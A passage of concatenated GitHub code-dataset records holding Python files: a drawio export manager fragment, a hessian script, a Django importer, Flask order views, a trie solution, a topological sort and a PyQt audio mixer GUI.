self.drawio_export_app.parent.exists():\n                self.drawio_export_app.parent.mkdir(parents=True)\n            self.log.info(\n                \"[ipydrawio-export] initializing drawio export app %s\",\n                self.drawio_export_app,\n            )\n            shutil.copytree(VEND, self.drawio_export_app)\n        else:\n            self.log.info(\n                \"[ipydrawio-export] using existing drawio export folder %s\",\n                self.drawio_export_app,\n            )\n\n        if not self.drawio_export_node_modules.exists() or force:\n            self.log.info(\n                \"[ipydrawio-export] installing drawio export dependencies %s\",\n                self.drawio_export_app,\n            )\n            subprocess.check_call(\n                [str(JLPM), \"--silent\", \"--ignore-optional\"],\n                cwd=str(self.drawio_export_app),\n            )\n        self.is_provisioning = False\n\n    def get_unused_port(self):\n        \"\"\"Get an unused port by trying to listen to any random port.\n\n        Probably could introduce race conditions if inside a tight loop.\n        \"\"\"\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.bind((\"localhost\", 0))\n        sock.listen(1)\n        port = sock.getsockname()[1]\n        sock.close()\n        return port\n\n    def attachments(self, pdf_path):\n        \"\"\"iterate over the name, attachment pairs in the PDF\"\"\"\n        reader = PdfReader(str(pdf_path), \"rb\")\n        attachments = []\n        try:\n            attachments = reader.trailer[\"/Root\"][\"/Names\"][\"/EmbeddedFiles\"][\"/Names\"]\n        except KeyError:\n            pass\n        for i, name in enumerate(attachments, 1):\n            if not isinstance(name, str):\n                continue\n            yield name, attachments[i].getObject()[\"/EF\"][\"/F\"].getData()\n","repo_name":"dangsn/ipydrawio","sub_path":"py_packages/ipydrawio-export/src/ipydrawio_export/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":13149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"38106115751","text":"import sys\nimport numpy as np\nfrom scipy.linalg import eigh\nimport molecule\n\n# read coordinate\ninput_geom = np.loadtxt(sys.argv[-1], comments='#')\nmol = molecule.Molecule(input_geom)\nprint('***Cartesian Coordinates (a.u.)***')\nmol.print_coord()\n\n# read hessian\nhess_file = sys.argv[-1].split(\"_\")[0] + \"_hessian.txt\"\ninput_hess = np.loadtxt(hess_file, comments='#')\nmol.hessian = input_hess.reshape( (mol.natom*3, mol.natom*3) )\nprint(mol.hessian)\n\n# build mass weighted hessian\nmol.mass_mat = np.repeat(mol.atms_mass, 3)\nmol.mw_hess = np.einsum('ij,i,j->ij',\n                        mol.hessian, mol.mass_mat**-.5, mol.mass_mat**-.5)\n\nprint(mol.mw_hess)\n\nla, v = eigh(mol.mw_hess)\nprint(la)\n\n\n\n\n\n\n","repo_name":"St-Maxwell/py-qc","sub_path":"hessian/hessian.py","file_name":"hessian.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31548382552","text":"import os\n\nfrom catalog.models import Entry, License, EntryType, Tag\nfrom filestorage.models import FileSet\nfrom django.core.files.base import ContentFile\n\ndef import_dir(dir_name):\n    for f in os.listdir(dir_name):\n        fn = os.path.join(dir_name, f)\n        if os.path.isfile(fn):\n            import_file(fn)\n\ndef import_file(file_name):\n    f = open(file_name, 'rb')\n    try:\n        data = f.read()\n    finally:\n        f.close()\n\n    info = {}\n    files = {}\n    target = None\n\n    lines = data.splitlines(True)\n    for line in lines:\n        handled = False\n        for q in ['title', 'description', 'license', 'author', 'created',\n                  'modified', 'change_comments', 'entry_type', 'tags',\n                  'maturity', 'url', 'pypi_name', 'pypi']:\n            if line.upper().rstrip() == \"***\" + q.upper():\n                target = (info, q)\n                handled = True\n        if handled:\n            continue\n\n        if line.startswith('***FILE:'):\n            fn = line[8:].strip()\n            if not fn:\n                raise ValueError(\"Invalid file name %s (%s)\" % (fn, file_name))\n            target = (files, fn)\n            continue\n        elif line.startswith('***SNIPPET'):\n            target = (files, 'snippet.py')\n            continue\n        else:\n            target[0].setdefault(target[1], \"\")\n            target[0][target[1]] += line\n\n    if 'pypi' in info:\n        info['pypi_name'] = info.pop('pypi')\n    if 'snippet.py' in files:\n        info['entry_type'] = 'snippet'\n\n    info.setdefault('entry_type', 'module')\n    info.setdefault('license', 'public-domain')\n    info.setdefault('maturity', 0.0)\n\n    if 'entry_type' in info:\n        info['entry_type'] = EntryType.objects.get(name=info['entry_type'])\n    if 'license' in info:\n        info['license'] = License.objects.get(slug=info['license'])\n    if 'tags' in info:\n        info['tags'] = [Tag.objects.get(name=name) for name in\n                        [x.strip() for x in info['tags'].split(',')]]\n\n    entry = Entry.new_from_title(**info)\n    fileset = FileSet.new_from_title(entry.slug)\n    fileset.save()\n\n    entry.files = fileset\n\n    if 'snippet.py' in files:\n        fileset.snippet = files['snippet.py']\n    else:\n        for name, data in files.items():\n            fileset.write_file(name, ContentFile(data))\n\n    fileset.save()\n    entry.save()\n","repo_name":"pv/scipyshare","sub_path":"deploy/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"20423473414","text":"from flask import Blueprint, url_for, render_template, request, session, jsonify, abort, redirect\nfrom market.models import MarketOrderDetail, MarketOrderMain, db\nfrom market.utils import hash_password, apply_query_filter\nfrom market.views.manage import manage\n\n\n@manage.route(\"/orderinfo/<order_id>\", methods=['GET', 'POST'])\ndef order_home(order_id):\n    if request.method == 'GET':\n        order = MarketOrderMain.query.filter(MarketOrderMain.order_id==order_id).first_or_404()\n        details = MarketOrderDetail.query.filter(MarketOrderDetail.order_id==order_id).all()\n        details_list = []\n        for d in details:\n            details_list.append(d.todict())\n        return jsonify({\n            'order':order.todict(),\n            'details': details_list\n        })\n    elif request.method == 'POST':\n        if request.form.get('hiddenidinput') != '':\n            print('-------')\n            print(request.form.get('hiddenidinput'))\n            id = int(request.form.get('hiddenidinput'))  # this is update\n            update_dict = dict(request.form)\n            update_dict.pop('hiddenidinput')\n            print(update_dict)\n            for k in update_dict:\n                update_dict[k] = update_dict[k][0]\n            print(update_dict)\n            MarketOrderMain.query.filter(\n                MarketOrderMain.id == id).update(update_dict)\n            try:\n                db.session.commit()\n                return jsonify({\"success\": True})\n            except Exception as e:\n                print(e)\n                db.session.rollback()\n                return jsonify({\"success\": False})\n        _m = MarketOrderMain(\n            order_id=request.form.get(\"order_id\"),\n            staff_id=request.form.get(\"staff_id\"),\n            gross_quantity=request.form.get('gross_quantity'),\n            gross_price=request.form.get('gross_price'),\n            time=request.form.get('time'),\n            comment=request.form.get('comment')\n        )\n        db.session.add(_m)\n        print('==========')\n        try:\n            db.session.commit()\n            return jsonify({\"success\": True})\n        except Exception as e:\n            print(e)\n            db.session.rollback()\n            return jsonify({\"success\": False})\n    else:\n        pass\n\n\n@manage.route('/order', methods=['POST', 'GET'])\ndef manage_order():\n    if request.method == 'POST':\n        if request.values.get('delete'):\n            order_id = request.values.get('del_order_id')\n            order = MarketOrderMain.query.filter_by(order_id=order_id).first()\n            order.delete = True\n            try:\n                db.session.commit()\n            except Exception as e:\n                print(e)\n                db.session.rollback()\n                return jsonify({\"success\": False, \"details\": \"fail\"})\n\n            details = MarketOrderDetail.query.filter_by(\n                order_id=order_id, delete=False).all()\n            for i in range(len(details)):\n                details[i].delete = True\n            try:\n                db.session.commit()\n            except Exception as e:\n                print(e)\n                db.session.rollback()\n                return jsonify({\"success\": False, \"details\": \"fail\"})\n        return redirect(url_for('manage.manage_order'))\n    args_dict = dict(request.values)\n    orders = apply_query_filter(\n        query_filter=args_dict,\n        target_class=MarketOrderMain,\n        target_query=MarketOrderMain.query.filter(MarketOrderMain.delete == False)\n    ).all()\n    details = apply_query_filter(\n        args_dict,\n        MarketOrderDetail,\n        MarketOrderDetail.query.filter(MarketOrderDetail.delete == False),\n    ).all()\n    # MarketOrderMain.query.filter(MarketOrderMain.delete==False).all()\n    #details = MarketOrderDetail.query.filter(MarketOrderDetail.delete == False).all()\n    result = []\n    details_result = []\n    for i, order in enumerate(orders):\n        this_order = {}\n        this_order['main'] = order\n        this_order['details'] = []\n        for detail in details:\n            if detail.order_id == order.order_id:\n                this_order['details'].append(detail)\n        result.append(this_order)\n    return render_template('manage_order.html', result=result, title=\"订单查询\")\n\n\n@manage.route(\"/order/add\", methods=['POST', 'GET'])\ndef manage_order_add():\n    if request.method == 'GET':\n        return render_template('manage_order_add.html', title=\"添加订单\")\n    elif request.method == 'POST':\n        if request.values.get('isupdate')=='123':\n            print('is update')\n            this_order = request.values.get('updateorderid')\n            MarketOrderMain.query\\\n                .filter(MarketOrderMain.order_id==this_order)\\\n                    .delete()\n            MarketOrderDetail.query\\\n                .filter(MarketOrderDetail.order_id==this_order)\\\n                    .delete()\n            try:\n                db.session.commit()\n            except Exception as e:\n                print(e)\n                db.session.rollback()\n                abort(500)\n        order, details = get_order(request.values)\n        db.session.add(order)\n        for detail in details:\n            db.session.add(detail)\n\n        try:\n            db.session.commit()\n            return jsonify({\"success\": True, \"data\": \"success\"})\n        except Exception as e:\n            print(e)\n            db.session.rollback()\n            return jsonify({\"success\": False, \"details\": \"fail\"})\n\n\n@manage.route(\"/order/modify\", methods=['POST'])\ndef manage_order_modify():\n    if request.values.get('modify') == \"true\":\n        order, details = get_order(request.values)\n\n        return \"mangae order modify\"\n    else:\n        print(request.values.get('updateid'))\n        order = MarketOrderMain.query.filter_by(\n            order_id=request.values.get('order_id')\n        )[0]\n        details = MarketOrderDetail.query.filter_by(order_id=order.order_id)\\\n            .order_by(MarketOrderDetail.order_detail_id.asc()).all()\n        order.details = details\n        return render_template(\"manage_order_modify.html\", title=\"修改订单\", order=order)\n\n\n@manage.route('/order/batchadd', methods=['POST'])\ndef order_batchadd():\n    batch = request.get_json().get('info')\n    print(batch)\n    orders = batch.split(';')\n    print(orders)\n    \n    for order in orders:\n        order=order.split('\\n')\n        print(order)\n        i = 0\n        while order[i] == '':\n            i += 1\n        orderinfo = order[i].split(',')\n        print(orderinfo)\n        db.session.add(MarketOrderMain(\n            order_id=orderinfo[0],\n            staff_id=orderinfo[1],\n            gross_quantity=orderinfo[2],\n            gross_price=orderinfo[3],\n            time=orderinfo[4],\n            comment=orderinfo[5]\n        ))\n        order_id = orderinfo[0]\n        i += 1\n        while i < len(order):\n            detail = order[i].split(',')\n            print(detail)\n            db.session.add(MarketOrderDetail(\n                order_detail_id=detail[0],\n                order_id=order_id,\n                merchandise_id=detail[1],\n                merchandise_quantity=detail[2],\n                unit_price=detail[3],\n                gross_price=detail[4],\n                comment=detail[5]\n            ))\n            i += 1\n    try:\n        db.session.commit()\n        return jsonify({\"success\":True})\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n        return jsonify({\"success\":False})\n\n\ndef get_order(order_form):\n    order = MarketOrderMain(\n        order_id=order_form.get(\"order_id\"),\n        staff_id=order_form.get(\"staff_id\"),\n        gross_quantity=order_form.get('gross_quantity'),\n        gross_price=order_form.get('gross_price'),\n        time=order_form.get('time'),\n        comment=order_form.get('comment')\n    )\n\n    order_id = order_form.get(\"order_id\")\n    order_detail_id = order_form.getlist(\"order_detail_id[]\")\n    merchandise_id = order_form.getlist(\"merchandise_id[]\")\n    merchandise_quantity = order_form.getlist(\"merchandise_quantity[]\")\n    unit_price = order_form.getlist(\"unit_price[]\")\n    detail_gross_price = order_form.getlist(\"detail_gross_price[]\")\n    detail_comment = order_form.getlist(\"detail_comment[]\")\n    details = []\n    for i in range(len(order_detail_id)):\n        print(i)\n        detail = MarketOrderDetail(\n            order_detail_id=order_detail_id[i],\n            order_id=order_id,\n            merchandise_id=merchandise_id[i],\n            merchandise_quantity=merchandise_quantity[i],\n            unit_price=unit_price[i],\n            gross_price=detail_gross_price[i],\n            comment=detail_comment[i]\n        )\n        details.append(detail)\n    return order, details\n","repo_name":"KZNS/scsx-market","sub_path":"market/views/manage/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":8733,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"39532609208","text":"\"\"\"\n208. Implement a Trie\n\nhttps://leetcode.com/problems/implement-trie-prefix-tree/solution/\n\n\"\"\"\n\n\"\"\"\nImplement a trie with insert, search, and startsWith methods.\n\nExample:\n\nTrie trie = new Trie();\n\ntrie.insert(\"apple\");\ntrie.search(\"apple\");   // returns true\ntrie.search(\"app\");     // returns false\ntrie.startsWith(\"app\"); // returns true\ntrie.insert(\"app\");   \ntrie.search(\"app\");     // returns true\nNote:\n\nYou may assume that all inputs are consist of lowercase letters a-z.\nAll inputs are guaranteed to be non-empty strings.\n\"\"\"\n\n\nclass TrieNode:\n    # Initialize your data structure here.\n    def __init__(self):\n        self.word = False\n        self.children = {}\n\n\nclass Trie:\n\n    def __init__(self):\n        self.root = TrieNode()\n\n    # @param {string} word\n    # @return {void}\n    # Inserts a word into the trie.\n    def insert(self, word):\n        node = self.root\n        for i in word:\n            if i not in node.children:\n                node.children[i] = TrieNode()\n            node = node.children[i]\n        node.word = True\n\n    # @param {string} word\n    # @return {boolean}\n    # Returns if the word is in the trie.\n    def search(self, word):\n        node = self.root\n        for i in word:\n            if i not in node.children:\n                return False\n            node = node.children[i]\n        return node.word\n\n    # @param {string} prefix\n    # @return {boolean}\n    # Returns if there is any word in the trie\n    # that starts with the given prefix.\n    def startsWith(self, prefix):\n        node = self.root\n        for i in prefix:\n            if i not in node.children:\n                return False\n            node = node.children[i]\n        return True\n\n\n\"\"\"\n[\"Trie\",\"insert\",\"search\",\"search\",\"startsWith\",\"insert\",\"search\"]\n[[],[\"apple\"],[\"apple\"],[\"app\"],[\"app\"],[\"app\"],[\"app\"]]\n\nExpected - [null,null,true,false,true,null,true]\n\"\"\"\ntrie = Trie()\nprint(None)\nprint(trie.insert(\"apple\"))\nprint(trie.search(\"apple\"))\nprint(trie.search(\"app\"))\nprint(trie.startsWith(\"app\"))\nprint(trie.insert(\"app\"))\nprint(trie.search(\"app\"))\nprint('\\n\\n\\n')\n\"\"\"\n[\"Trie\",\"insert\",\"search\",\"search\",\"search\",\"startsWith\",\"startsWith\",\"startsWith\"]\n[[],[\"hello\"],[\"hell\"],[\"helloa\"],[\"hello\"],[\"hell\"],[\"helloa\"],[\"hello\"]]\n\nExpected - [null,null,false,false,true,true,false,true]\n\"\"\"\n\ntrie = Trie()\nprint(None)\nprint(trie.insert(\"hello\"))\nprint(trie.search(\"hell\"))\nprint(trie.search(\"helloa\"))\nprint(trie.search(\"hello\"))\nprint(trie.startsWith(\"hell\"))\nprint(trie.startsWith(\"helloa\")) # expected to be false\nprint(trie.startsWith(\"hello\"))\nprint('\\n\\n\\n')\n\"\"\"\n[\"Trie\",\"insert\",\"search\",\"startsWith\"]\n[[],[\"a\"],[\"a\"],[\"a\"]]\n\nExpected - [null,null,true,true]\n\"\"\"\ntrie = Trie()\nprint(trie.insert(\"a\"))\nprint(trie.search(\"a\"))\nprint(trie.startsWith(\"a\"))","repo_name":"Dinesh94Singh/PythonArchivedSolutions","sub_path":"Companies/Amazon/208.py","file_name":"208.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38424818911","text":"from collections import defaultdict \n\n ####发现上面的代码有点问题（不知道是不是我的问题），所以我自己写了一个，同时也加深下对于拓扑的了解\nclass Graph: \n    # 构造函数\n    def __init__(self,vertices): \n        # 创建用处存储图中点之间关系的dict{v: [u, i]}(v,u,i都是点,表示边<v, u>, <v, i>)：边集合\n        self.graph = defaultdict(list) \n        # 存储图中点的个数\n        self.V = vertices\n\n    \n    # 添加边\n    def add_edge(self,u,v): \n        # 添加边<u, v>\n        self.graph[u].append(v) \n    \n    \n    # 获取一个存储图中所有点的状态:dict{key: Boolean}\n    # 初始时全为False\n    def set_keys_station(self):\n        keyStation = {}\n        key = list(self.graph.keys())\n        # 因为有些点，没有出边，所以在key中找不到，需要对图遍历找出没有出边的点\n        if len(key) < self.V:\n            for i in key:\n                for j in self.graph[i]:\n                    if j not in key:\n                        key.append(j)\n        for ele in key:\n            keyStation[ele] = False\n        return keyStation\n\n    \n    # 拓扑排序\n    def topological_sort(self):\n        # 拓扑序列\n        queue = []\n        # 点状态字典\n        station = self.set_keys_station()\n        # 由于最坏情况下每一次循环都只能排序一个点，所以需要循环点的个数次\n        for i in range(self.V):\n            # 循环点状态字典，elem：点\n            for elem in station:\n                # 这里如果是已经排序好的点就不进行排序操作了\n                if not station[elem]:\n                    self.topological_sort_util(elem, queue, station)\n        return queue   \n    \n    \n    # 对于点进行排序     \n    def topological_sort_util(self, elem, queue, station):\n        # 设置点的状态为True，表示已经排序完成\n        station[elem] = True\n        # 循环查看该点是否有入边，如果存在入边，修改状态为False\n        # 状态为True的点，相当于排序完成，其的边集合不需要扫描\n        for i in station:\n            if elem in self.graph[i] and not station[i]:\n                station[elem] = False\n        # 如果没有入边，排序成功，添加到拓扑序列中\n        if station[elem]:\n            queue.append(elem)\n\n\n\nif __name__ == \"__main__\":\n    \"\"\"\n       5     4\n     ↙  ↘  ↙  ↘\n    2     0     1\n      ↘      ↗\n          3\n    \"\"\"\n    g = Graph(6) \n    g.add_edge(5, 2); \n    g.add_edge(5, 0); \n    g.add_edge(4, 0); \n    g.add_edge(4, 1); \n    g.add_edge(2, 3); \n    g.add_edge(3, 1); \n  \n    print (\"拓扑排序结果：\")\n    print(g.topological_sort())\n    \n\n","repo_name":"jasonmayday/LeetCode","sub_path":"algorithms/13_图与搜索/拓扑排序/拓扑排序.py","file_name":"拓扑排序.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"44191350272","text":"from PyQt5 import QtWidgets , QtCore, QtGui\nfrom PyQt5.QtGui import QPalette, QColor\nfrom PyQt5.QtCore import QUrl, QDirIterator, Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, QPushButton, QFileDialog, QAction, QHBoxLayout, QVBoxLayout, QSlider,QMessageBox\nfrom pyqtgraph import PlotWidget, plot, PlotItem\nfrom Gui import Ui_MainWindow\nimport numpy as np\nimport pyqtgraph as pg\nimport matplotlib.pyplot as plt\nimport logging\nimport sys\nimport wave\nimport pydub\nimport pyaudio\nimport os\nimport sounddevice as sd\nfrom songdata import song_data\n\n\nclass ApplicationWindow(QtWidgets.QMainWindow):\n    def __init__(self):\n        super(ApplicationWindow, self).__init__()\n        pg.setConfigOption('background', 'w')\n        self.ui = Ui_MainWindow()\n        self.ui.setupUi(self)\n\n        self.Song1 = []\n        self.Song2 = []\n        \n        self.mixedArray = []\n        self.mixedArray_Duration=0\n\n        self.mixedsong = song_data()\n\n        self.songsArray = []\n        self.song_index = 0\n\n        self.Ext_1=None\n        self.Ext_2=None\n        \n        self.Input_X_1=[]\n        self.Input_Y_1=[]\n        self.Input_X_2=[]\n        self.Input_Y_2=[]\n        self.durationF_1=0\n        self.durationF_2=0\n\n        self.similarityIndex = []\n        self.similarityIndexID = []\n        self.topTenSimilarityIndex = []\n        \n        LOG_FILENAME = 'LOGFILE.txt'\n        file = open(LOG_FILENAME,\"r+\")\n        file.truncate(0)\n        file.close()\n\n        self.generate_spectrograms()\n\n        logging.basicConfig(filename=LOG_FILENAME,format='%(asctime)s - %(message)s ',datefmt='%d-%b-%y %H:%M:%S',level=logging.INFO)\n\n    #----------------------------------------------------------------------------------------------------------------\n        self.graphic_View_Array=[self.ui.Spectrogram_1,self.ui.Spectrogram_2]\n        for x in self.graphic_View_Array:\n            x.setMouseEnabled(x=False, y=False)\n            pass\n        #------------------\n\n        self.playArray=[self.ui.Play_1,self.ui.Play_2]\n    #----------------------------------------------------------------------------------------------------------------\n        self.browseArray=[self.ui.BrowseButton,self.ui.BrowseButton_2]\n        self.ui.BrowseButton.clicked.connect(lambda : self.Import(0))\n        self.ui.BrowseButton_2.clicked.connect(lambda : self.Import(1))\n        self.ui.GenerateButton.clicked.connect(self.start_compare)\n    #----------------------------------------------------------------------------------------------------------------\n        self.ui.MixerSlider.sliderReleased.connect(self.ValueChanged)\n    #----------------------------------------------------------------------------------------------------------------\n        self.stopArray=[self.ui.Stop_Button,self.ui.Stop_Button_2]\n        for x in self.stopArray:\n            x.clicked.connect(self.Stop)\n    #----------------------------------------------------------------------------------------------------------------\n\n    def Import(self,num):\n        filePaths = QtWidgets.QFileDialog.getOpenFileNames(self, 'Multiple File',\"~/Desktop\",'*.mp3 && *.wav')\n        for filePath in filePaths:\n            for f in filePath: \n                if f == \"*\" or f == None:\n                    break\n                ext = os.path.splitext(f)[-1].lower()  # Check file extension  \n\n                if ext == \".wav\":\n                    self.X_Y_Data = self.ReadFromWav(f,num)\n                    if num==0:\n                        self.Ext_1=ext\n                        self.Input_X_1=self.X_Y_Data[0]\n                        self.Input_Y_1=self.X_Y_Data[1]\n                        self.ui.Play_1.clicked.connect(lambda : self.Play_Wav(self.Input_Y_1[0],self.durationF_1))\n                        logging.info('User Imported wav file from Browse 1')\n        \n                    if num==1:\n                        self.Ext_2=ext\n                        self.Input_X_2=self.X_Y_Data[0]\n                        self.Input_Y_2=self.X_Y_Data[1]\n                        self.ui.Play_2.clicked.connect(lambda : self.Play_Wav(self.Input_Y_2[0],self.durationF_2))\n                        logging.info('User Imported wav file from Browse 2')\n\n                if ext == \".mp3\" :\n                    \n                    pydub.AudioSegment.converter = r\"C:\\ffmpeg\\ffmpeg\\bin\\ffmpeg.exe\"\n                    songFile = pydub.AudioSegment.from_mp3(f)\n                    if num==0:\n                        self.Ext_1=ext\n                        self.Song1 = np.array(songFile.get_array_of_samples())\n                        self.Song1 = self.Song1.reshape((-1, 2))\n                        self.ui.Play_1.clicked.connect(lambda : self.Play(self.Song1))\n                        logging.info('User Imported mp3 file from Browse 1')\n                    if num==1:\n                        self.Ext_2=ext\n                        self.Song2 = np.array(songFile.get_array_of_samples())\n                        self.Song2 = self.Song2.reshape((-1, 2))\n                        self.ui.Play_2.clicked.connect(lambda : self.Play(self.Song2))\n                        logging.info('User Imported mp3 file from Browse 2')\n      \n   #----------------------------------------------------------------------------------------------------------------\n                        \n   #----------------------------------------------------------------------------------------------------------------\n\n    def ReadFromWav(self,file,num):  \n\n        p = pyaudio.PyAudio()\n        self.waveFile = wave.open(file,'rb')\n\n        self.format = p.get_format_from_width(self.waveFile.getsampwidth())\n        channel = self.waveFile.getnchannels()\n        self.rate = self.waveFile.getframerate()\n        self.frame = self.waveFile.getnframes()\n        self.stream = p.open(format=self.format,  # DATA needed for streaming\n                            channels=channel,\n                            rate=self.rate,\n                            output=True)\n        if num==0:\n            self.durationF_1 = self.frame / float(self.rate) # For playing the sound\n\n        if num==1:\n            self.durationF_2 = self.frame / float(self.rate) # For playing the sound\n\n        self.data_int = self.waveFile.readframes(self.frame)\n        self.data_plot = np.fromstring(self.data_int, 'Int16')\n        self.data_plot.shape = -1, 2\n\n        self.data_plot = self.data_plot.T\n        self.time = np.arange(0, self.frame) * (1.0 / self.rate)\n\n        return self.time,self.data_plot\n\n    #------------------------------------------------------------------------------------------------------------------------\n\n    #------------------------------------------------------------------------------------------------------------------------\n    def ValueChanged(self):\n        userChoice=self.ui.SelectedSong.currentText()\n        value= (self.ui.MixerSlider.value())/10\n        self.mixedArray=[]\n\n        if (self.Ext_1==self.Ext_2) and (self.Ext_2==\".mp3\"):\n            if len(self.Song2)!=0 and len(self.Song1)!=0:\n                if(userChoice==\"First_Song\"):\n                    if len(self.Song1) >= len(self.Song2):\n                        self.mixedArray=((self.Song1[0:len(self.Song2)]*value)+(self.Song2*(1-value)))/10000\n                    else:\n                        self.mixedArray=((self.Song1*value)+(self.Song2[0:len(self.Song1)]*(1-value)))/10000\n                    \n                elif(userChoice==\"Second-Song\"):\n                    if len(self.Song2) >= len(self.Song1):\n                        self.mixedArray=((self.Song2[0:len(self.Song1)]*value)+(self.Song1*(1-value)))/10000\n                    else:\n                        self.mixedArray=((self.Song2*value)+(self.Song1[0:len(self.Song2)]*(1-value)))/10000\n                        \n                self.ui.Play_Mix.clicked.connect(lambda : self.Play(self.mixedArray))\n                logging.info('User Created a mix with mp3 files ')\n            else:\n                QMessageBox.warning(self,'Warning',\"ADD TWO SONGS\", QMessageBox.Ok )\n                logging.info('User tried to Create a mix while there is No 2 Songs imported')\n\n        elif (self.Ext_1==self.Ext_2) and (self.Ext_2==\".wav\") :\n            if len(self.Input_Y_1)!=0 and len(self.Input_Y_2)!=0:\n                if(userChoice==\"First_Song\"): \n                    if len(self.Input_Y_1[0]) >= len(self.Input_Y_2[0]):\n                        self.mixedArray.append(((self.Input_Y_1[0][0:len(self.Input_Y_2[0])]*value)+(self.Input_Y_2[0]*(1-value)))/10000)\n                        self.mixedArray.append(((self.Input_Y_1[1][0:len(self.Input_Y_2[1])]*value)+(self.Input_Y_2[1]*(1-value)))/10000)\n                        self.mixedArray_Duration=self.durationF_1\n                    else:\n                        self.mixedArray.append(((self.Input_Y_1[0]*value)+(self.Input_Y_2[0][0:len(self.Input_Y_1[0])]*(1-value)))/10000)\n                        self.mixedArray.append(((self.Input_Y_1[1]*value)+(self.Input_Y_2[1][0:len(self.Input_Y_1[1])]*(1-value)))/10000)\n                        self.mixedArray_Duration=self.durationF_2\n                elif(userChoice==\"Second-Song\"):\n                    if len(self.Input_Y_2[0]) >= len(self.Input_Y_1[0]):\n                        self.mixedArray.append(((self.Input_Y_2[0][0:len(self.Input_Y_1[0])]*value)+(self.Input_Y_1[0]*(1-value)))/10000)\n                        self.mixedArray.append(((self.Input_Y_2[1][0:len(self.Input_Y_1[1])]*value)+(self.Input_Y_1[1]*(1-value)))/10000)\n                        self.mixedArray_Duration=self.durationF_2\n                    else:\n                        self.mixedArray.append(((self.Input_Y_2[0]*value)+(self.Input_Y_1[0][0:len(self.Input_Y_2[0])]*(1-value)))/10000)\n                        self.mixedArray.append(((self.Input_Y_2[1]*value)+(self.Input_Y_1[1][0:len(self.Input_Y_2[1])]*(1-value)))/10000)\n                        self.mixedArray_Duration=self.durationF_1\n                        \n                self.ui.Play_Mix.clicked.connect(lambda : self.Play_Wav(self.mixedArray[0],self.mixedArray_Duration))\n                logging.info('User Created a mix with wav files ')\n\n                self.mixedsong.song_data = self.mixedArray\n        else:\n            QMessageBox.warning(self,'Warning',\"add songs with the same extension\", QMessageBox.Ok )\n            logging.info('User tried to Create a mix while the two songs is not the same extension')\n\n    #------------------------------------------------------------------------------------------------------------------------\n            \n    #------------------------------------------------------------------------------------------------------------------------      \n    def Play(self,array):    \n        sd.play(array)\n\n    def Play_Wav(self,array,D):\n        if ((len(self.Input_X_1) != 0 and len(self.Input_Y_1) != 0) or ((len(self.Input_X_2) != 0 and len(self.Input_Y_2) != 0))):\n            sd.play(array,len(array)/D)\n        else:\n            pass\n    \n    def Stop(self):\n        sd.stop()\n    #------------------------------------------------------------------------------------------------------------------------\n    \n    #------------------------------------------------------------------------------------------------------------------------\n\n    def generate_spectrograms(self):\n        path = '/Songs'\n        filepaths = [os.path.join(r,file) for r,d,f in os.walk(os.getcwd() + path) for file in f]\n        filepaths = [x for x in filepaths if x.endswith(\".wav\")]\n        for f in filepaths:\n            tempSong = song_data()\n            tempSong.set_Data(f,self.song_index)\n            self.songsArray.append(tempSong)\n            self.song_index = self.song_index + 1\n    \n    #------------------------------------------------------------------------------------------------------------------------\n    \n    #------------------------------------------------------------------------------------------------------------------------\n\n    def start_compare(self):\n        for i in range(len(self.songsArray)):\n            print(len(self.songsArray))\n            percent_hashes = self.mixedArray.compareHashes(self.songsArray[i])\n            percent_peaks = self.mixedArray.comparePeakFeaturesGenerateDifference(self.songsArray[i])\n\n            tempSimilarityIndex = (percent_hashes + percent_peaks )/2\n            self.similarityIndex.append(tempSimilarityIndex * 100)\n            self.similarityIndexID.append(self.songsArray[i].songID)\n\n\n        tempSimilarityIndex = self.similarityIndex\n        print(\"---------------------------------\")\n        print(self.similarityIndexID)\n        print(self.similarityIndex)\n        print(\"---------------------------------\")\n\n        numpyArr=np.array(self.similarityIndex) \n        self.TopTenSimilarIDs=numpyArr.argsort()[::-1]\n\n        tempSimilarityIndex.sort(reverse = True)\n\n        if len(tempSimilarityIndex) < 10 :\n            for i in tempSimilarityIndex:\n                self.topTenSimilarityIndex.append(i)\n        else:\n            for i in range(10):\n                self.topTenSimilarityIndex.append(tempSimilarityIndex[i])\n        print(\"Top Similar IDs\")\n        print (self.TopTenSimilarIDs)\n        print(self.topTenSimilarityIndex)\n\n        for i in range(len(self.topTenSimilarityIndex)):\n            self.Fill_Similarity_Table(self.TopTenSimilarIDs[i],i)\n\n        self.topTenSimilarityIndex = [ ]\n        self.similarityIndex = [ ]\n        self.similarityIndexID = [ ]\n\n    #------------------------------------------------------------------------------------------------------------------------\n    \n    #------------------------------------------------------------------------------------------------------------------------\n\n    def Fill_Similarity_Table(self,songIndex,normalIndex):\n        rowPosition = self.ui.SongsTable.rowCount()\n        self.ui.SongsTable.insertRow(rowPosition)\n        numrows = self.ui.SongsTable.rowCount()           \n        self.ui.SongsTable.setRowCount(numrows)\n        self.ui.SongsTable.setColumnCount(2)           \n        self.ui.SongsTable.setItem(numrows - 1, 0 ,QtGui.QSongsTableItem(self.songsArray[songIndex].songName))\n        self.ui.SongsTable.setItem(numrows - 1, 1 ,QtGui.QSongsTableItem(str(round(self.topTenSimilarityIndex[normalIndex],2))+\"%\"))\n\n        self.ui.SongsTable.setHorizontalHeaderItem(0,QtGui.QSongsTableItem(\"Song Name\"))\n        self.ui.SongsTable.setHorizontalHeaderItem(1,QtGui.QSongsTableItem(\"Similarity Index\"))\n\n    #------------------------------------------------------------------------------------------------------------------------\n    \n    #------------------------------------------------------------------------------------------------------------------------\n\n#////////////////////////////// Main /////////////////////////////////////\n\ndef main():\n    app = 